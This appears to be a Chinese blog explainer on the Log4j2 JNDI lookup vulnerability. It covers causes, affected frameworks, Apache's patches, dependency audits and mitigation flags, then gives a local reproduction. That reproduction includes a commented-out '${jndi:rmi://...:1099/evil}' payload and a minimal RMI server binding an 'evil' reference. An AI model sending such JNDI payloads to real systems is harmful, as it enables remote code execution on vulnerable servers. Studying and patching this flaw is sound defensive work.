1. 什么是Log4j?
- Log4j是Apache的一个开源项目,主要是是用来记录日志信息的输出或者记录.
2. 为什么会造成这个漏洞?
- 原因很简单,log4j想干的是太多了,还想利用在本机上利用rmi运行别处的代码,并输出或记录日志.
- 具体来说,Log4j2提供的提供的lookup共能造成的,该功能允许开发者通过一些协议(JNDI或其他)去读取相应环境中的配置.但是并没有进行严格的判断,从而导致了该漏洞的发生
3. 在什么地方会发生这个漏洞?
-
一些主流的Java框架:
- Spring-Boot
- Apache Struts2
- Apache Solr
- flume
- …
-
受到影响的游戏:
- 我的世界(MineCrafe)
4. Apache的解决方案是什么?
-
在爆出此漏洞后的Apache Log4j 2.15.0 RC1中,目前是指定了java,Idap和Iadps可以使用这个协议,限制了Idap仅限本地访问java的对象
-
此后,当RC1仍然爆出有远程代码漏洞后,Apache Log4j2 2.15.0 RC2直接将lookup远程获取源代码相关功能给关了(惹不起?还关不起吗?)
5. 开发者如何进行审查?
- 如果是用Maven部署的项目,那么请审查pom.xml文件,是否有log4j的core和api且为2.14.0以下版本,那么请尽快把下面的版本号转为2.15.0
就类似下图
- 如果开发者不是基于Maven部署,那么就要审查项目中是否导入log4j 2.x.x的jar包.
6. 如果为了项目的稳定性,无法升级Log4j,又该怎么解决呢?
- 前提是你不用lookup,那么可以修改jvm参数: -Dlog4j2.formatMsgNoLookups=true
- 也可以修改配置:log4j2.formatMsgNoLookups=True
- 修改系统变量:FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true
- 注意Java版本
7. 简单的漏洞复刻:
文件结构
├─src
│ ├─main
│ │ ├─java
│ │ │ └─com
│ │ │ └─loudong
│ │ │ │ Log4j2Test.java
Log4j2Test.java源代码
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;
public class Log4j2Test {
private static final Logger LOGGER = LogManager.getLogger();
public static void main (String... args){
String username = "${java:os}";
//String username = "${jndi:rmi://172.16.10.38:1099/evil}";
// 上面在下面中会用到,用时直接打掉注释即可
LOGGER.info("Hello,{}!。",username);
}
}
前提是项目里有log4j,且版本号低于2.15.0
其中log4j2.xml文件配置如下
<?xml version="1.0" encoding="UTF-8"?>
<!--
status : 这个用于设置log4j2自身内部的信息输出,可以不设置,当设置成trace时,会看到log4j2内部各种详细输出
monitorInterval : Log4j能够自动检测修改配置文件和重新配置本身, 设置间隔秒数。
注:本配置文件的目标是将不同级别的日志输出到不同文件,最大2MB一个文件,
文件数据达到最大值时,旧数据会被压缩并放进指定文件夹
-->
<Configuration status="WARN" monitorInterval="600">
<Properties>
<!-- 配置日志文件输出目录,此配置将日志输出到tomcat根目录下的指定文件夹 -->
<Property name="LOG_HOME">Logs</Property>
</Properties>
<Appenders>
<!--这个输出控制台的配置,这里输出除了warn和error级别的信息到System.out-->
<Console name="console_out_appender" target="SYSTEM_OUT">
<!-- 控制台只输出level及以上级别的信息(onMatch),其他的直接拒绝(onMismatch) -->
<ThresholdFilter level="warn" onMatch="DENY" onMismatch="ACCEPT"/>
<!-- 输出日志的格式 -->
<PatternLayout pattern="%5p [%t] %d{yyyy-MM-dd HH:mm:ss} (%F:%L) %m%n"/>
</Console>
<!--这个输出控制台的配置,这里输出warn和error级别的信息到System.err,在eclipse控制台上看到的是红色文字-->
<Console name="console_err_appender" target="SYSTEM_ERR">
<!-- 控制台只输出level及以上级别的信息(onMatch),其他的直接拒绝(onMismatch) -->
<ThresholdFilter level="warn" onMatch="ACCEPT" onMismatch="DENY"/>
<!-- 输出日志的格式 -->
<PatternLayout pattern="%5p [%t] %d{yyyy-MM-dd HH:mm:ss} (%F:%L) %m%n"/>
</Console>
<!-- TRACE级别日志 -->
<!-- 设置日志格式并配置日志压缩格式,压缩文件独立放在一个文件夹内,
日期格式不能为冒号,否则无法生成,因为文件名不允许有冒号,此appender只输出trace级别的数据到trace.log -->
<RollingRandomAccessFile name="trace_appender"
immediateFlush="true" fileName="${LOG_HOME}/trace.log"
filePattern="${LOG_HOME}/trace/trace - %d{yyyy-MM-dd HH_mm_ss}.log.gz">
<PatternLayout>
<pattern>%5p [%t] %d{yyyy-MM-dd HH:mm:ss} (%F:%L) %m%n</pattern>
</PatternLayout>
<Policies><!-- 两个配置任选其一 -->
<!-- 每个日志文件最大2MB -->
<SizeBasedTriggeringPolicy size="2MB"/>
</Policies>
<Filters><!-- 此Filter意思是,只输出debug级别的数据 -->
<!-- DENY,日志将立即被抛弃不再经过其他过滤器;
NEUTRAL,有序列表里的下个过滤器过接着处理日志;
ACCEPT,日志会被立即处理,不再经过剩余过滤器。 -->
<ThresholdFilter level="debug" onMatch="DENY" onMismatch="NEUTRAL"/>
<ThresholdFilter level="trace" onMatch="ACCEPT" onMismatch="DENY"/>
</Filters>
</RollingRandomAccessFile>
<!-- DEBUG级别日志 -->
<!-- 设置日志格式并配置日志压缩格式,压缩文件独立放在一个文件夹内,
日期格式不能为冒号,否则无法生成,因为文件名不允许有冒号,此appender只输出debug级别的数据到debug.log -->
<RollingRandomAccessFile name="debug_appender"
immediateFlush="true" fileName="${LOG_HOME}/debug.log"
filePattern="${LOG_HOME}/debug/debug - %d{yyyy-MM-dd HH_mm_ss}.log.gz">
<PatternLayout>
<pattern>%5p [%t] %d{yyyy-MM-dd HH:mm:ss} (%F:%L) %m%n</pattern>
</PatternLayout>
<Policies><!-- 两个配置任选其一 -->
<!-- 每个日志文件最大2MB -->
<SizeBasedTriggeringPolicy size="2MB"/>
<!-- 如果启用此配置,则日志会按文件名生成新压缩文件,
即如果filePattern配置的日期格式为 %d{yyyy-MM-dd HH} ,则每小时生成一个压缩文件,
如果filePattern配置的日期格式为 %d{yyyy-MM-dd} ,则天生成一个压缩文件 -->
<!-- <TimeBasedTriggeringPolicy interval="1" modulate="true" /> -->
</Policies>
<Filters><!-- 此Filter意思是,只输出debug级别的数据 -->
<!-- DENY,日志将立即被抛弃不再经过其他过滤器;
NEUTRAL,有序列表里的下个过滤器过接着处理日志;
ACCEPT,日志会被立即处理,不再经过剩余过滤器。 -->
<ThresholdFilter level="info" onMatch="DENY" onMismatch="NEUTRAL"/>
<ThresholdFilter level="debug" onMatch="ACCEPT" onMismatch="DENY"/>
</Filters>
</RollingRandomAccessFile>
<!-- INFO级别日志 -->
<RollingRandomAccessFile name="info_appender"
immediateFlush="true" fileName="${LOG_HOME}/info.log"
filePattern="${LOG_HOME}/info/info - %d{yyyy-MM-dd HH_mm_ss}.log.gz">
<PatternLayout>
<pattern>%5p [%t] %d{yyyy-MM-dd HH:mm:ss} (%F:%L) %m%n</pattern>
</PatternLayout>
<Policies>
<SizeBasedTriggeringPolicy size="2MB"/>
</Policies>
<Filters>
<ThresholdFilter level="warn" onMatch="DENY" onMismatch="NEUTRAL"/>
<ThresholdFilter level="info" onMatch="ACCEPT" onMismatch="DENY"/>
</Filters>
</RollingRandomAccessFile>
<!-- WARN级别日志 -->
<RollingRandomAccessFile name="warn_appender"
immediateFlush="true" fileName="${LOG_HOME}/warn.log"
filePattern="${LOG_HOME}/warn/warn - %d{yyyy-MM-dd HH_mm_ss}.log.gz">
<PatternLayout>
<pattern>%5p [%t] %d{yyyy-MM-dd HH:mm:ss} (%F:%L) %m%n</pattern>
</PatternLayout>
<Policies>
<SizeBasedTriggeringPolicy size="2MB"/>
</Policies>
<Filters>
<ThresholdFilter level="error" onMatch="DENY" onMismatch="NEUTRAL"/>
<ThresholdFilter level="warn" onMatch="ACCEPT" onMismatch="DENY"/>
</Filters>
</RollingRandomAccessFile>
<!-- ERROR级别日志 -->
<RollingRandomAccessFile name="error_appender"
immediateFlush="true" fileName="${LOG_HOME}/error.log"
filePattern="${LOG_HOME}/error/error - %d{yyyy-MM-dd HH_mm_ss}.log.gz">
<PatternLayout>
<pattern>%5p [%t] %d{yyyy-MM-dd HH:mm:ss} (%F:%L) %m%n</pattern>
</PatternLayout>
<Policies>
<SizeBasedTriggeringPolicy size="2MB"/>
</Policies>
<Filters>
<ThresholdFilter level="error" onMatch="ACCEPT" onMismatch="DENY"/>
</Filters>
</RollingRandomAccessFile>
</Appenders>
<Loggers>
<!-- 配置日志的根节点 -->
<root level="trace">
<appender-ref ref="console_out_appender"/>
<appender-ref ref="console_err_appender"/>
<appender-ref ref="trace_appender"/>
<appender-ref ref="debug_appender"/>
<appender-ref ref="info_appender"/>
<appender-ref ref="warn_appender"/>
<appender-ref ref="error_appender"/>
</root>
<!-- 第三方日志系统 -->
<logger name="org.springframework.core" level="info"/>
<logger name="org.springframework.beans" level="info"/>
<logger name="org.springframework.context" level="info"/>
<logger name="org.springframework.web" level="info"/>
<logger name="org.jboss.netty" level="warn"/>
<logger name="org.apache.http" level="warn"/>
</Loggers>
</Configuration>
如果能够正常执行,则会输出下面的内容
如果把代码里的os改成vm,则会出现jvm版本号
以上只是在本机里自娱自乐,总不能自己攻打自己吧
所以真正的文件目录结构为
├─src
│ ├─main
│ │ ├─java
│ │ │ └─com
│ │ │ └─loudong
│ │ │ │ Log4j2Test.java
│ │ │ │
│ │ │ └─rmi
│ │ │ RMIServer.java
RMIServer的源代码为
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args){
try {
LocateRegistry.createRegistry(1099);
Registry registry = LocateRegistry.getRegistry();
System.out.println("Create RMI registry on port 1099");
Reference reference = new Reference("EvilObj","EvilObj",null);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("evil",referenceWrapper);
}catch (Exception e){
e.printStackTrace();
}
}
}
此时会告诉你,要运行的类有EvilObj,但是我没有写EvilObj类,只能输出这么已经话. 我试着想要写EvilObj类里的内容并输出EvilObj类里的东西,结果因为Java版本太高,限制了输出内容.就写了这么简单的内容.
8. RMI是干什么的?
- 是一种分布式对象应用,可以使一个jvm中的对象调用另一个jvm对象方法并获取调用结果.这里的jvm可以是本地的,也可以是远程的.
上面源码思路的也就是我自己写了个服务端,让被害主机作为一台客户机,服务端利用客户端log4j提供的API,远程执行代码.达到攻击的目的.
资料来源
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。